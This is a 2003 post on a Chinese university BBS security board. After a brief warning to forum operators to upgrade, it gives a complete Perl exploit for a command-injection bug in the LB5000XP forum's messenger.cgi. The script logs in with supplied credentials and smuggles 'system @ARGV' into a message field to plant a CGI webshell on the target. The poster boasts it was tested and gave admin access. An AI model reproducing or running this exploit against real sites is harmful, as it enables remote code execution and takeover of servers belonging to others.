● 最近CGI漏洞很严重！ - 荔园在线 | 深圳大学学生论坛,荔园晨风BBS,深大在线网站

荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀

发信人: sonicboy (sonicboy), 信区: Security
标题: 最近CGI漏洞很严重！
发信站: 荔园晨风BBS站 (Tue Mar 18 10:34:17 2003), 转信

开了论坛的朋友注意啦！快升级吧！LEOBOARD，CDB，DVBBS等，DVBBS有益处漏洞，不是
CGI的！
这里帖个LB5000XP messages filter bug exploit

LB5000XP messages filter bug exploit!(By sonicboy)

#!/usr/bin/perl

#########################################
#private exploit ver1.0! #
#LB5000XP messages filter bug exploit! #
#codz by envymask #
#website: http://envymask.3322.org ; #
#mail: 130@21cn.com #
#########################################

use Socket;

#### This area you should modify!!!######
$host = "www.target.com";
$port = "80";
$name = "user";
$passwd="123456789";
$way = "/bbs/cgi-bin/";
#########################################

$get="messanger.
cgi?action=send&touser=%0Asystem%20\@ARGV%3B%23&friend=%BA%C3%D3%D1%C3%F
B%B5%A5&msgtitle=%09&message=%09&backup=yes&Submit%22=%B7%A2+%CB%CD";
getmsg($name,$passwd,$get);

delmsg($name,$passwd);

$shell = $name."_out.cgi";
$get = "messages/out/$shell";
@request=getmsg($name,$passwd,$get);
if (($request[0] =~ /200 OK/ig)||($request[0] =~ /502/ig)) {
print "Exploit successful!\nYou got a CGI shell at $host$way$get\n";
}
else
{
print "Failed! try another way!\n";
}

sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket
problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can't connect...\n");
}
}

sub delmsg {
my ($name) = $_[0];
my ($passwd) = $_[1];
$get1 = "messanger.
cgi?where=outbox&action=delete&msg=0&delete=%C9%BE%B3%FD";
$req = "GET $way$get1 HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Ｃookie: amembernameＣookie=$name; apasswordＣookie=$passwd;\n\n";
@res = sendraw($req);
}

sub getmsg {
my ($name)= $_[0];
my ($passwd) = $_[1];
my ($get) = $_[2];
$req = "GET $way$get HTTP/1.0\n".
"Host: $host\n".
"Referer: $host\n".
"Ｃookie: amembernameＣookie=$name; apasswordＣookie=$passwd;\n\n";
@res = sendraw($req);
}

已测试运行，取得WEBSHELL拿管理权限。。。。。。。。。。。。。。。。。。。

--
HIHI!I AM SONICBOY,MY QQ IS 28860.MY BBS : http://waterclub.126.com
SONICBOY EDONKEY SERVER:61.144.225.74:4661

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 218.17.94.28]

荔园在线首页友情链接：深圳大学深大招生荔园晨风BBS S-Term软件网络书店